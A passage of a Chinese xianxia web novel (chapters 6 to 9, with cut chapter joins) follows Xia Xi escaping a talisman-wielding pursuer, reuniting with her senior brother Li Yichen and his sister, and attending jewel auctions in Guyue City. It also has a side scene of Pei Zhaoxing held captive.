但如果五、六个人变成五、六百个人追杀自己,夏溪就一点都不着急了,甚至隐隐产生一种诡异的松弛感。 居然有五六百个人来抢这条狗命,真刺激。 黑衣人见夏溪露出笑容,双脚开始不由自主地往外挪动:“夏姑娘,我看你还是快逃命吧,这么多人追杀你,逃起来不是件轻松事。” 夏溪笑眯眯地抓住黑衣人的肩膀:“你想去哪?” 黑衣人冷汗都冒出来了:“我这腿不是伤了……” 话音未落,一道凌厉的符箓迎面而来! “唰!” 符箓瞬间暴涨,化作比脸盆还大的火球砸向夏溪。 夏溪反手一推黑衣人,同时借力往后闪避。 城门口向来是热闹的地方,突然出现的火球吓到了不少人,黑衣人见状不妙,直接混进人群跑了。 夏溪亦是如此。 不过不同的是,她逃跑的方向是城外。 守城的都是凡人,见到夏溪跑来不敢阻拦,熟门熟路地大喊着:“让开!都让开!修士打架凡人免近!” 夏溪畅通无阻地来到城外,操控符箓的人还没出现,可她仍有预感,对方就跟在身后。 没有丝毫犹豫,她直接御剑逃离。 就在夏溪离开不久,一队衣着朴素、行为低调的乌衣人悄悄进了满月城。 他们汇聚在一间客栈的房间中。 为首的问:“找到人了没?” 一个手下跪地禀报:“那个女人逃出城了,已经派人去追,另外一个男的还在城里药堂。” 为首的冷哼一声:“她倒是警觉,继续跟着,剩下的全都和我找男的。” “是。” ** 离开满月城已经三天了。 在此期间,夏溪拿出全部力气,一路朝着少乌宗所在地狂飞而去。 御剑飞行需要耗费大量灵力,即使是身为金丹三段的她,连续消耗这么久也开始吃不消。 每当想要停下,就会有数不清的符箓从四面八方飞出来,密集如雨般攻击过来。 很显然,攻击者在享受一场游戏,一场只要夏溪停下来就会被轰死的游戏。 夏溪不是没想过反击,可敌人始终没有暴露自己的位置,攻击基本都落空了。 再继续耗下去,她要么死于灵力枯竭,要么死在符箓之下。 得想个办法。 满月城到少乌宗,需要经过三座城池两座山脉。 粗略一算,至少已经经过了一座城池。 夏溪揉揉发干生涩的眼睛,定睛一看,果然在前方出现了一座城池的轮廓,看规模比满月城还要大两倍—— 古月城,背靠矿石山脉,常年会有车马商队来城里做生意,其富裕程度就算放在大荒国,也得是名列前茅的。 假设她是追逐者,就不会让她进城休养生息,会在此之前狂轰滥炸让她继续疲于奔命。 ……赌一把! 夏溪深呼吸一口气,调转体内金丹,将残存灵力尽数汇聚到长剑之中。 油门(灵气)拧到最大,长剑发出一声怒吼,如同天边流星一般,瞬间飞向数里之外。 夏溪的突然加速打了追逐者一个措手不及,待再想出手时,对方已经变成一个小黑点。 “操!” 躲在阴影里的人怒骂一声,飞快地追着小黑点而去了。 越靠近古月城,夏溪越能感觉到灵力的飞快流逝,冷汗浸湿发梢和后背,身体一阵阵发虚,浓浓的疲倦和虚无感从灵魂深处涌出。 好痛苦、好想喝水、好想睡一觉…… 夏溪眼前一阵阵发黑,眼皮也沉重地抬不起来。 再努力一下,只要进去古月城,里面一定有好吃的好喝的还有超级好看的俊男靓女! 她在心中不断宽慰自己。 再坚持一下,你已经很棒了,只要再坚持一下,你就可以去古月城里潇洒了! 靠着这样的念头,夏溪硬是又多飞了一会。 冷风再度袭来,追兵已然抵达身后。 符箓铺天盖地地追来,大有将夏溪当场炸死的态度。 古月城门近在眼前,她却没有多余的灵力去阻挡密密麻麻的符箓了。 ——反正都赌了一把,不如再赌一把! 夏溪不再躲避,调转剑身迎了上去。 “轰隆隆!” 符箓接二连三地爆炸,火球汇聚在一起竟然比古月城门还要大! 城门处,不少进进出出的居民都被不远处的火球惊吓到,守门的士兵不敢耽误,快马加班地敢去汇报城主。 然而直到火球消失,他们都没能看见有什么东西从里面掉出来。 古月城里,一个衣裙边缘被烧毁的少女走进成衣铺,抬手就点了最漂亮的那套成衣:“我要这套,现在就换。” 符箓爆炸的刹那,夏溪便借助爆炸所产生的气浪飞向古月城门。 她之所以主动靠近符箓,只不过是想靠的越近所能借助到的气浪就越大罢了。 幸运的是她成功了,除了头发和衣裙被烧焦少许之外,本人没有受到任何伤害。 果然赌狗赌到最后,一切都应有尽有! 趁附近的人都在看符箓,夏溪低着头,匆匆走进古月城。 换好衣裙,她又让老板当面烧掉那套衣裙,自己则拿起剪子把烧焦的头发也处理了一下。 处理好一切,夏溪便成了个不起眼的年轻修士。 灵力消耗得太多,必须要多休息几天才能恢复过来。 她能想到,想必那个用符箓的人也会猜到,估计这几天会在城中大肆寻人。 最危险的地方就是最安全的地方,夏溪来到古月城某条繁华的街道,找到一间外观不错的客栈投宿。 “大人不好意思,我们的客房早早被预定出去了。”掌柜脸上堆着笑,“要不你去别的地问问?” “加钱也没有?” “真的没有。” 夏溪一连问了几家,得到的都是同样的答复。 问到最后一家时,她实在是忍不住:“怎么最近城里的客栈都没有房啊?” 这家是个女掌柜,闻言莞尔一笑:“姑娘是刚来的?” 夏溪点头。 “那你可真是巧了,近段时间在附近又挖到一处好矿,少见的宝石更不要钱似的,一车一车地送回来,为了把这些宝石都卖出去,城主特地搞了个拍卖大会,专卖那些没雕琢过的宝石,听说越到后面卖得越罕见呢!” 说到这里,掌柜还有意显摆自己头上的珠钗,珠光宝气地让夏溪眼睛生疼。< 6. 第 6 章 [] 夏溪从白天睡到入夜,精神状态好了不少。 金丹修士已经可以做到好几天不睡觉好几天不吃饭,但对夏溪来说,吃饭睡觉仍是她的日常必需,因为—— 体内的金丹除了运转周天之外,还能起到促进消化排出浊气的作用。 换言之,只要不是连续性的胡吃海塞,怎么吃都不会影响身体健康! 金丹有如此大作用,不拿来吃吃喝喝多浪费啊? 待吃饱喝足,她便坐在床上打坐调息,几个周天运转结束,后背已然湿透。 她下楼去找小二要热水,就见到掌柜靠在柜台上,正一脸惆怅地看着手里的一封请帖。 夏溪本打算假装没看见,偏偏掌柜发现了她,抬手招呼她过来:“姑娘,你过来一下。” 样子像极了街边派小广告的。 夏溪不情愿地过去了:“掌柜的,怎么了?” 掌柜拉过她,悄声问道:“你想不想去见识下珠宝拍卖?” 夏溪:? 你们古月城的珠宝拍卖已经发展到能随处可见了吗? 她想说不想去,可现在的人设是刚进城的年轻修士,不对最近城里发生的大事不感兴趣是不可能的。 “想去,但是珠宝拍卖的邀请函很贵,我买不起。” 我很穷的,掌柜的你要是想推销就是找错了人。 掌柜笑得越发奸诈:“只需十颗下品灵石,我就把手上的邀请函卖给你。” 灵石分为上中下三个等级,灵气纯粹充郁的为上品,次之中品,最不纯粹且灵气稀少的则是下品。 十颗下品灵石可以说是跳摩天大楼价了。 夏溪想明白了。 她说:“你这不是城主所举行的珠宝拍卖会邀请函吧?” “当然不是,”掌柜打开邀请函,露出一个带金粉的‘王’字,“王家在古月城也算是一号人物,他家举办的拍卖会还是值得去看的。” “不去,”夏溪果断拒绝,“王家若真如你所说,邀请函怎么可能只值十颗下品灵石。” 小心思被戳穿,掌柜脸上丝毫不见尴尬,邀请函又打开了一些,露出‘王’字后面的王小吉。 “王小吉是王家的小儿子,他爹有意锻炼他,会把家里一些不重要但资质不错的宝石让他拍卖练手,我头上这根彩蝶环月的红宝石就是从他举办的拍卖会得来的,如果不是前段时间买的珠宝太多手头没钱,不然我就去了。” 掌柜循循善诱,夏溪不为所动。 双方彼此拉扯许久,最终还是掌柜落败,她娇嗔道:“小姑娘家家的,就应该多出去走走见见世面啊。” 夏溪当然想去的,但她现在不宜露面,只能婉言谢绝掌柜。 可恶,下次有机会的话,她要直接参加城主的珠宝拍卖会! 夏溪回房洗过澡,困意再度袭来,脑袋还没沾上枕头,妥帖放好的芥子袋忽然一闪一闪的。 她好奇地拿出那个一闪一闪的东西,发现是一只小小的纸信鸽,头部圈出两个小眼睛,尾部写了个小小的月字。 纸信鸽是修仙世界的通讯工具之一,由于第一次使用时需要注入双方灵力,通常都是关系较好的人才会用它。 这枚纸信鸽正是和师父江清月通信专用之物。 江清月在不久前一次剿灭妖兽的任务时金丹被毁,整个人身受重伤,原主离开少乌宗时,她还在昏迷不醒。 纸信鸽能不断发光,说明江清月已经苏醒,估计是听说了原主的事,特意用残存的灵力来联系她。 不知道是不是原主的残留情绪在作怪,使得夏溪看见纸信鸽后鼻子一酸,眼泪差点掉下来。 可即使落泪,她的脑子依然清醒。 因为这不是夏溪自身的感情。 每次查看原主记忆时,她都是以陌生人的第三视角查看,以至于感受并没有那么强烈。 只是……近段时间的舟车劳顿、被追杀时的提心吊胆,都在看到纸信鸽亮起的那一瞬,全都从内心深处涌现出来。 她接通纸信鸽,话还没说,眼泪先下来了:“呜呜……” “哭什么哭什么,你师父我还没死呐就急着哭丧了?”纸信鸽里传来的声音干脆又爽快,熟悉如夏溪,仍能从中察觉出虚弱疲惫之感。 于是她哭得更大声了:“师父我好惨啊呜呜呜……我什么都没做突然就被沉银阁给追杀了哇呜呜呜!” 除了递剑给裴朝行一事,夏溪抽抽噎噎的把这段时间发生的事说了一遍。 江清月听完,语气罕见地带上点小心翼翼:“……你真没调戏什么看上去很牛很厉害的人?” “我哪敢啊师父!”夏溪惊得瞪大眼睛,“裴家确实有好看的,但他家内部太复杂,我瞬间就萎了,再说了,你还昏着呢,我哪有心思去干这事?” 江清月沉默了,隔了好一会才道:“掌门已经派人去沉银阁了解情况了,还有,她派了两个你绝对想不到的人去接你,算算时间,他们应该到古月城了,你再坚持下。” 夏溪:? 我就在古月城。 她疑惑问:“我现在就在古月城,可一个少乌宗的人都没见过。” “这么巧啊,那你很快就能见到你心爱的小情郎了。” 听到小情郎三个字,夏溪瞬间僵硬了。 在师徒二人的悄悄话里,小情郎只代表一个人—— 少乌宗掌门的儿子李逸臣。 李逸臣此人,长得剑眉星目,气质出类拔萃,是少乌宗实打实的少掌门兼大师兄。 原主天赋不错,小小年纪便达金丹三段,已经能被称之为有修仙大才。 而李逸臣,不过比原主大几岁,就已经到了金丹圆满,离元婴只差一个渡劫突破。 原主刚进宗,便是跟在李逸臣身后启蒙,待到日渐成熟,情愫悄然生长。 可李逸臣是大师兄,师妹多了去了,原主在冲动之下,做出了一件很符合男频女配会做的事—— 她,主动献身了! 呃啊啊啊啊啊啊啊啊啊啊啊! 即使是第三视角,即使李逸臣当时立刻转头,但夏溪仍被尴尬到脚趾蜷缩。 啊、这,少女勇敢追爱是很好,但是、可是、呃…… 她久久说不出话来。 江清月等了半天,见徒儿迟迟没有回应,留下一句‘我会告诉他你也在古月城的’后就切断了纸信鸽。 夏溪想原地去世。 虽然李逸臣长得是她的菜,但谁说爱吃的菜只能有一盘呢!更何况还是一盘相处很尴尬的菜! 更重要的是,原主嫁给齐天符是书里写明的事,明示她的一腔爱意付诸流水,和李逸臣没有任何未来。 这个想法出现的一瞬间,夏溪便感到自己的心重重地抽痛了一下。 她不由得捂住胸口,痛苦地倒在床上。 原主你快醒醒,不要为了没有未来的人伤心啊! 那么多棵树,你吊死在其中一棵是会亏到家的啊! 心痛持续了很长时间,夏溪睡了又醒醒了又睡,待到天蒙蒙亮才沉沉睡去。 与此同时。< 7. 第 7 章 [] 日上三竿,夏溪挣扎着起床。 昨晚心痛半宿,让她也被迫跟着心痛,可恶,起码让她躺在一个美人怀里再开始心痛啊! 纸信鸽散发出微弱的光芒,说明江清月曾经试图联系过她。 夏溪赶忙联系回去,才知道李逸臣通过掌门转述江清月再告诉她,他们现在居住在某某客栈,等她时间方便直接过去找他们就行。 为何同在一个城的师兄妹需要通过如此波折的手段联系,当然是因为之前发生过的事,才导致彼此都没有对方的联络方式。 摸着良心讲,她真的不想见李逸臣,但她也真的需要同伴来保命。 没事的,夏溪你可以的!不就是见没有缘分的心上人吗,冲就完事了! 没错,冲就行了! …… 心灵上的巨人,行动上的矮子,指的就是夏溪。 她磨磨蹭蹭地更衣,磨磨蹭蹭地乔装,磨磨蹭蹭地出门,磨磨蹭蹭地走路,最终还是来到李氏兄妹居住的客栈门前。 看着这间小小的客栈,夏溪更心虚了。 她一个被追杀的都住好客栈,两个来接应她的人却住着小客栈,嗯……行吧。 客栈一楼是供人吃饭的位置,二楼是住宿区,应该是李逸臣提前打点过,夏溪一问姓李的修士在哪,掌柜就让小二上去叫人了。 很快,伴随着噔噔的脚步声,穿着嫩黄色衣裙的李玉娇就出现在眼前。 对方挽着灵蛇髻,同色系腰封掐出一把柳腰,她双手环抱,斜眼看眼前的夏溪。 李玉娇,明明两人年岁相仿、地位相近,但就是玩不到一块,尤其是发生某些事后,‘玩不到一块’就变成了‘互相厌恶’。 夏溪被她看得心虚,可一见到她,不服输的倔强感又突然涌了出来。 两人我看你你看我,都还没说话,又有人从楼上下来了。 这是一个个子很高的青年,头发整齐地用玉冠挽着,一身山峰白衣衫,背后佩剑,活脱脱一个光风霁月大师兄的模样。 李逸臣,原主最喜欢的一个人。 见到他,夏溪顿时紧张地连手都不知道往哪里放,条件反射地喊了声:“大师兄。” 当喊出熟悉的称呼,她清晰感觉到自己的心酸酸涩涩,又痛又爽。 李逸臣从头到尾地打量了夏溪一番,见她全须全尾地站在眼前,心中莫名松了一口气。 “这里不是说话的地方,我们回房再说。”李逸臣说着转身上楼,身后却传来李玉娇不悦的声音。 “夏溪你又想做什么?” 他侧头去看,看见李玉娇抓着夏溪的手,面色非常不好看:“我警告你,大庭广众少对别人拉拉扯扯。” 李逸臣转身离开的刹那,夏溪不由自主地伸出手,想要抓住他的衣角,一如过去千百次那般。 在他们之间的感情尚未变质之前,原主确实很喜欢跟在李逸臣身后,并用手拽他的衣角。 可惜手指还没碰到,就被警惕许久的李玉娇及时制止住了。 夏溪甩开李玉娇的手,态度比之前冷淡不少:“我只是想说,我住的地方环境比较好,还是去我那方便一点。” 李玉娇正想反驳说禁听结界一设那里都一样,但李逸臣先她一步开口了:“好,就去你那里。” 她带着兄妹二人回到自己投宿的客栈,掌柜正在柜台里算账,见她回来,眼前忍不住一亮:“客官,你真的不去王小吉的珠宝拍卖?” 夏溪摇头:“不去,性比价不高。” 李玉娇原本听到珠宝拍卖还有点兴趣,在听到连夏溪都不感兴趣后,也跟着撇撇嘴。 夏溪都不要的东西,她还捡来做什么? 倒是李逸臣听到王小吉,竟掏出灵石来买,让旁边的夏溪和李玉娇缓缓打出一个问号。 回到客房,李玉娇都来不及说夏溪乱花钱住大客栈,直接就问李逸臣:“哥哥,你买王家邀请函做什么?这可是连夏溪都不要的东西!” 夏溪:“喂!” 知不知道礼貌两个字怎么写啊? 李逸臣不为所动,把邀请函收好,淡定自若地落座斟茶。 他一点也没有回答妹妹的意思,而是抬眼看夏溪:“说吧,你私自出宗之后经历什么,要知道,你的师兄师姐清醒过来之后,可是肺都气炸了。” 除了李逸臣这个全宗们意义上的大师兄,同夏溪一起拜江清月为师的还有两位师兄师姐。 江清月金丹被毁,最着急焦虑的就是座下的三个弟子。 重塑金丹并非易事,还要耗费大量的珍贵药材,其中更是有味罕见的药材连少乌宗都凑不出来。 两位师兄师姐四处奔波,想要尽快为江清月重塑金丹,一时之间便忽略了原主。 齐天符就是趁这时和原主约定好的,只要她和他成婚,他不仅把缺少的那味药材给原主,还会额外赠送数量庞大的药材。 有了这些药材,别说重塑江清月的金丹,重塑少乌宗所有管理层的金丹都绰绰有余。 两位师兄师姐知晓此事,自然是拒绝。 他们都是有骨气的人,就算是穷死!就算从悬崖上跳下去!也断没有拿自家小师妹婚途来换师父金丹的道理! 以防心思不坚定的原主做错事,师兄师姐还拿走她的腰牌,就怕她趁他们不注意,私自出宗去和裴家退婚。 可原主是什么人啊。 她是连男主打上门来都对他翻白眼的牛叉角色。 趁夜深人静,原主拿迷药干倒师兄师姐,拿着他们的腰牌连夜跑路了。 逼数,是原主装了的。 苦难,是夏溪要承受的。 回想起自家师兄师姐的暴脾气,夏溪顿时心如死灰,不敢想等回到少乌宗后,会经历怎样的师门家法。 见夏溪脸心如死灰,李玉娇心中好不畅快,嘴上连声催促她快讲离开少乌宗之后发生了什么事。 夏溪隐去姓名,简单的把满月城之事复述一遍给李氏兄妹听。 听到裴朝行爆种反杀裴长青时,李玉娇惊诧得杏眼圆睁:“这裴公子也太厉害了,刚突破筑基,就把筑基六段的裴家主给杀了?” “早就听闻大能踏上修炼之路后会有异象傍身,没想到这个传闻竟然是真的。”李逸臣的关注点则在裴朝行的伴生结界上,“若是日后有机会,真想和他见见。” 夏溪和李逸臣也算是有修仙缘的人,可和裴朝 8. 第 8 章 [] 凡人和修仙者之间的实力差距极为悬殊。 有足够钱权的人会雇佣修仙者保一方平安,但多数人并没有这两样,因此诞生出许多求修仙者庇佑的方法,常见的方法有生活在宗门的管辖区域内、当世家所在的城池居民……其中一项名为游学的方法。 有点小钱的人家,会趁孩子还没长大之前,送他去当地的大宗门或世家生活几年,除了尝试能不能有修仙天赋之外,也是个另寻名目给宗门世家‘捐献’的机会。 你的孩子生活在我这里,吃喝要钱吧?请夫子和长老教导他也要钱吧?要是孩子年轻气盛和别的孩子打架,找人给他治病也要花钱吧? 别说修仙者不要钱,难道他们身上的衣服法宝器具符箓都是凭空出现的吗? 少乌宗在地境东大洲算小有名气,属于是提到东大洲里的宗门,想半天一拍脑袋说还有个少乌宗的程度。 李逸臣认识王小吉的契机,就是在十几年前的一场少乌宗游学上。 那会的李逸臣太年轻,被颇有经商头脑的王小吉一顿忽悠,把攒了许久的八百颗中品灵石尽数借予他做拍卖,结果拍卖会还没初具雏形,就被闻讯赶来的长老一顿胖揍。 没多久王小吉的游学时间就到了,八百颗中品灵石不了了之。 之后的这些年,双方也一直保持着书信联系。 王家不是大势力,可家里还是养着几个有点实力的修士保镖。 李逸臣正是打算找王小吉借几个保镖,确保他们回少乌宗的路上一路平安。 听完他的计划,李玉娇震惊疑惑:“你那会才几岁?居然就有八百颗中品灵石了?” 李逸臣当做没听到,和夏溪说:“出发之前,你得好好乔装打扮一番了,最好不要让人认出你,尤其是……” “尤其是什么?” “尤其不要打扮得像通缉令上面那样。” “……” 是夜。 王家正门。 不少身着绫罗绸缎的人乘坐马车,在侍人的搀扶下走进王家。 他们脸上都戴着面具,在身穿艳色衣服的王家家丁的指引下,纷纷从不同途径进入一座三层小楼。 小楼外表简单朴素,实则内有乾坤。 每层设有单间套房,窗户设有纱帘和隔窗,使房内人看不清别处,别处房间的人也看不得自己房间。 一楼大堂拍卖台的位置选得极为巧妙,只要拍卖师高举拍卖物展示,就能让所有在房间里的人看得清清楚楚。 每当有客进入房间,跟随的王家侍从就会用点燃房门前以及窗户边的两根长烛,无声告示其他侍从此房有主。 今晚的珠宝拍卖仍是由王小吉主持。 拍卖会开始前的半个小时,他来到一楼侧房,此处摆放着不少即将隆重登场的珠宝,其中一件珍贵异常。 那是一件玉扳指,浑圆水润,不见杂色,就着烛灯下看去,水绿花纹竟然构成一副山清水秀图。 此乃王家珍藏多日的玉扳指,来源于附近一个老矿洞,要不是今天来参加拍卖的人多,王小吉还舍不得拿出来呢。 估算着时间差不多,王小吉带着几个貌美侍人端着锦盒、跟随他一起出现在大堂之中。 堂中矗立着一座四方高台,为首的侍人奉上锦盒,再王小吉用镀金的长杆轻轻一撬,露出一支漂亮的紫云百花簪。 簪身镀金,簪头嵌玉,咋看上去平平无奇,但胜在玉质水润,也算是佳品。 某间房里,李玉娇见到这根簪子便眼睛一亮:“玉只能说是不错,但这雕刻手法真是上等!” 不久前,李氏兄妹乔装成普通的富家少爷小姐,夏溪则打扮成李玉娇的侍女,跟在他们身后进了王家的拍卖小楼。 听到惊叹,原本还在喝茶的夏溪和李逸臣来到身边,发挥修士的专业眼神,看见簪子上的花纹错落有致,细致入微,错眼看竟自成一路。 “感觉这些杂玉,配不上这位师傅的刀工。”夏溪感叹,“得花个好十几年才有这种刀工吧?” “我看不止,”李逸臣道,“此人刀工入木三分,怕是从小就开始练习了。” 话音刚落,他就听见身边的夏溪冲一楼喊了声:“我出三百两!” 李氏兄妹:? 刀工确实是好的,但上头镶嵌的玉可不值这个价钱。 李玉娇用看地主家的傻孩子看她:“你疯了?这簪子卖我二百两我都嫌它贵。” “我喜欢它的刀工嘛,”夏溪不以为意,“玉不是好玉,到时候抠下来换新的上去就行了。” 李玉娇被气到说不出话来,旁边的李逸臣也眉头紧皱:“买珠还椟。” 夏溪奇怪地看着他们:“拜托,花的是我的钱耶,你们心痛什么?再说了,只要是我喜欢的东西,我花再高的价钱买回来我也开心。” 楼下,王小吉扬起一个真切到不能再真切的笑容。 这根紫云百花簪是他在矿洞附近的一个小村落淘来的,当时上面的玉也不是好玉,是他另找人拆下重新嵌玉,本以为顶破天了也只能卖个二百两,没想到竟然卖出三百两的高价。 他当场就拍案定下三百两的高价。 按照规矩,簪子会在拍卖结束后送到对应房间,当场一手交货一手交钱。 拍卖继续进行,但没有再让夏溪或李氏兄妹心动的了,直到开始拍卖倒数第一件时,三人才重新聚集在窗边。 倒数第二通常是压轴大戏,王小吉不可能不拿好货色出来。 果然,最后第二个锦盒被捧上后,侍人没有接着离开,而是点亮了一根上好白烛才退下。 锦盒缓缓打开,露出一枚极为不错的玉扳指。 在烛光的照耀下,玉扳指宛若一捧颤巍巍的水,被王小吉用银筷小心翼翼地夹起来,全方位无死角的展示。 “真是好玉,”李逸臣忍不住感叹。 李玉娇也颇为心动,与哥哥商议:“你说,我买回去送爹怎么样?” “不成,玉扳指的圈口太粗,爹的手指太细,是戴不上的。” 玉扳指的出现让原本有些冷清的拍卖会火热起来,许多方才没有出现过的声音都在此刻出现了。 “五十两!” “二百两!” “四百两!” 拍卖价格不断攀升,很快就来到了让夏溪瞠目结舌的价格:“就这扳指能卖一万五千两?” 李玉娇终于忍不下去:“怎么就不值了?这块玉的质地可比你那百花簪值钱多了!” “百花簪胜在刀工!” “少见多怪!这个玉扳指的价格能买一千个你那破烂簪子!” 这回是夏溪被气到说不出话来了。 玉扳指最终卖出一万五千两的价格,差价足以碾压紫云百花簪几十倍。 拍卖结束后,簪子没一会就送了过来,李逸臣让送物侍人代为传话,说自己想要见一见王小吉。 王小吉得知消息,心情有所忐忑。 每个拍卖师都会遇到过一种人,一种一时冲动高价拍下拍卖品、随后又反悔想拿回钱或讲价的人。 东西是自己想要的,价格也是自己喊的,断没有爽完之后又反 9. 第 9 章 [] 夏溪是个有点认床的人,如果不是前天那样累到爬不起来,通常需要花两三天的时间来认床。 接连几天都在不断换环境换床,让她今天也早早地起床了。 不是床不舒服,是真的睡不着啊。 正在院子里练剑的时候,她听见隔壁传来李玉娇略带憋闷的声音:“为什么我一定要跟着王小吉去?哥哥你不能跟我吗? 李逸臣无奈的声音传来:“你一个人去我不放心,但夏师妹独自留在王家我也不放心,最好的办法就是让小吉跟着你去,我留在王家有个照应。” “那为什么不能是你跟着我去,王小吉留在家保护夏溪?” “小吉是个凡人,怎么保护夏师妹呢?” …… 夏溪听了一会,踩上剑身,趴在墙头问李玉娇:“你们在说什么?” 隔壁院子里,李逸臣手里拿着剑,应该是练剑练到一半被李玉娇打断。 见到罪魁祸首,李玉娇气不打一处来:“还好意思说,就是因为你才变成现在这样!” 作为少乌宗管辖地附近的城池,古月城主和少乌宗掌门也有所往来,她所举办的珠宝拍卖会,自然也会给掌门一份。 李氏兄妹之所以能这么从少乌宗赶到古月城,是因为李玉娇想来参加珠宝拍卖,李逸臣就跟着她来了。 在他们刚出发不到半天的时间,就被自家爹传音发来新任务,目的也从参加珠宝拍卖变成接应夏溪。 古月城城主的珠宝拍卖定在定在今天,李玉娇本以为参加无望,却没想到阴差阳错之下,时间又空闲出来,还正好今天参加完明天送夏溪回宗门。 有多么巧合的时间,凭什么哥哥不跟着去! 李玉娇愤愤愤地说了一通,夏溪也大概明白了她为什么这么愤怒。 进古月城都两三天时间了,那个追杀她的符箓师仍未露面,说明对方仍未找到自己的踪迹。 但李玉娇是和原主明争暗斗、就算吃力不讨好也要让对方吃瘪的旧敌。 夏溪当即道:“师兄说得对,你和王小吉去就可以了,师兄留下来和我互相有个照应。” “夏溪你能不能要点脸?”李玉娇怒气冲冲,“我们的行程已经被你给打乱了,现在好不容易恢复正常,你就不能让我称心如意一次吗?” 夏溪趴在墙头看着她,皮笑肉不笑:“不能哦,我上次求你不要把我的剑折断的时候,你不还是把它弄断扔地上踩好几脚了吗?” 原主和李玉娇的关系就是一笔烂账,追溯往昔能爆八千件相互作践的事迹。 李玉娇被夏溪的这句话气的半死,正欲继续反击的时候,王小吉却笑眯眯地从外面进来了。 “逸臣!我弄到了两张今晚城主的拍卖会邀请函,你要不要……咦?夏师妹你怎么趴在墙头啊?” “哦,她就爱爬墙头,王公子你不用理她。”李玉娇阴阳怪气且意有所指地道。 王小吉笑了笑没接话,踱步到李逸臣身边问他:“我记得昨天你说过要去城主的拍卖会,但咱们不是四个人嘛,我又找人要了两张邀请函,这下就都能去了。” 昨天喝酒的时候,李逸臣提了一嘴,没想到王小吉居然记得还要来了邀请函。 他本想拒绝,又见李玉娇可怜巴巴地看着自己,便把邀请函接下了。 夏溪见了,也没说什么,转身回了房。 ** 裴朝行被移动了。 自清醒后,他已经在这个狭窄房间呆了很长时间,期间试过说话,但没什么人理他。 并且迷晕他的这伙人很谨慎,每日定时过来补充迷药,同时喂他一点流食保证不会饿死。 浑浑噩噩不知道过去多久,他感觉自己被人泼了一盆冷水,衣服也被一点点切割走,全身上下赤条条——从触感上来说,应该在腰间还绑了布,用来遮挡关键部位。 他感觉自己像头死猪一样,被人塞进大袋子里,一路抬着走。 一如前几日那样,自己被丢上一辆车,通过四周的叫卖声,他判断车辆来到了街上。 求生欲望在此时涌现出来。 裴朝行咬了咬舌尖,意志抵抗身体里的迷药,刚要撞向车壁的时候,一只手突然抓住了他! 原来车上还有一个从来没说过话的看守! 裴朝行来不及有所反应,便觉得后脑勺传来重重几下的敲击,整个人再次陷入昏迷。 看守把装着活人的黑麻袋放回原处,继续靠在车壁上假寐。 马车一路前行,绕了城中街道几圈后,把车停在了一户气派人家的后院。 几位粗壮家丁把上来,把车里的几个黑麻袋全都搬了进去。 看守明明也跟在身后,旁人却视之无物,径直从他身边路过了。 时间一晃来到傍晚。 在王小吉的带领下,李氏兄妹和夏溪还是来到了城主的拍卖会里。 夏溪是最后一个下马车的,长睫一抬,眼前便出现一栋雕梁画栋的五层小楼,朱红碧瓦好不热闹。 此处叫明月楼,是城主出资建造,专门用来拍卖珠宝。 越危险就越安全,因此夏溪今日的装扮异常华丽,脸上甚至用了珍珠玉帘遮挡去半边面容,李玉娇瞧见,暗暗地嘁了一声,转头也用了条精美异常的面纱遮挡。 王小吉不是第一次来明月楼了,他甚至比侍人还要熟悉地介绍起楼内布置:“为了提高遮蔽性,明月楼内有好几条通道,每条通道都用珠帘层层遮挡,就算你和别人走在同一条路上,不打照面都不知道这里还有人。” 诚如他所说,每层楼造景精美,数目众多的珠帘映入眼帘也不觉得违和。 侍人把他们带到三楼一间房,与王家的拍卖相比,明月楼的招待房要更加宽大精美,旁边还有一个美人榻供人休息。 同样的,侍人点亮了窗户旁和房门口的蜡烛后才离开。 虽说是被半拉着半强迫来城主拍卖会,但夏溪也没有让自己长时间沉浸在生闷气的情绪当中。 她随手拎起一枚新鲜葡萄,隔着帕子轻轻地撕皮之火,慢条斯理地塞进嘴里。 真好吃。 见她吃了一颗又一颗,李玉娇没忍住说了句饿死鬼投胎,不曾想这句话被夏溪听见了,她冷哼一声,吃葡萄的速度更快了。 王小吉趁机把李逸臣拉到旁边,他小声问:“你怎么回事啊?拎不清的话以后是被打的!” 李逸臣:“……我被谁打?” 王小吉恨李逸臣是个木头。 他离开少乌宗时,夏溪和李玉娇都未出现,并不知道两人之间的恩怨,误以为夏溪是和李逸臣互有好感的师妹,见她与李玉娇吵得厉害,忍不住前来提醒脑袋里长了个木头的好兄弟。 好友支支吾吾难为情的模样尽收眼底,李逸臣叹息道:“我只当夏溪是师妹,且我们是不会在一起的。” 王小吉见他说得诚恳,模样又坦坦荡荡,不信也变成几分相信:“那还是你牛叉,两个随时会吵起来的人都敢带在身边。” 李逸臣苦笑一声,不再说话。 就在此时,一楼传来阵阵悠扬琴声,告诉诸多客人拍卖会即将开始。 只见一个模样俊俏的年轻女人走上高台,在她身后是一溜的水嫩小伙,他们手上捧着大大小小的托盘,用红绸遮盖,除了大小轮廓之外,其余信息皆看不出来。 李玉娇认真盯了会,忽然道:“有玉镯、项链、头面……但更多的可能是没有经过雕琢的纯天然珠宝。” 夏溪顺着她的话一一看出,果然能找出对应饰品的所在位置。 过了一会,李玉娇疑惑道:“怎么最后放上来的是扁扁的?看上去像空的。” 一直旁听的王小吉及时解密:“并不是空的,那个应该是金缕面罩。” 古月城之所以在大荒国出名,除了坐拥矿石山脉之外,还有着举国文明的手艺活,比如昨晚买到的紫云百花簪。 和融了重做不同,王小吉要求在不破坏簪子本身纹路的情况下,拆下旧玉换新玉,光是这样就逼退了一众手艺人。 许多饰物的装饰和纹路是交相辉映的,此番举动无异于要你拆了个人又把人装回去,难度非常之高。 最后还是王小吉打听到有个孩子生病急需钱的老匠,带着药材和大夫上门才解决这件事。 若说换饰已经如此周折,金缕面具则更难。 它需要数千或者上万条大小一样的金丝,在日出日落之时,就着剔透日光,用抹了玉油的巧手一点点编制,时不时穿插上等小珠进去,汇聚成一张珠光璀璨的金缕面具。 将金缕面具泡进特殊的油水里七七四十九天,就会得到软硬兼并的金缕面具。 此面具平扁如纸,质地柔软,却能刀枪不入,若是缝制在特殊部位,还能当成特制护心甲保护自己。 王小吉说得一套一套的,把三个修仙者糊弄的一愣一愣的。 “没想到金缕面具竟如此复杂,”李玉娇忍不住道,余光瞥见旁边的夏溪,冷嘲热讽道:“这才是真正的花钱买手艺。” 夏溪:“……你神经病啊,我就是喜欢就是想买,又不花你家的钱!” 新的纷争还没开始,就被楼下第一件拍卖的东西给转移了火力。 那是一颗比眼珠子还大的红宝石,可惜边缘有一丝裂纹,使得石中星光黯销不少。 侍人将它高高举起,旁边的拍卖师则高声道:“瑕疵红宝石,起拍价,一千两。” 她的话音刚落,就有人出价:“一千一。” 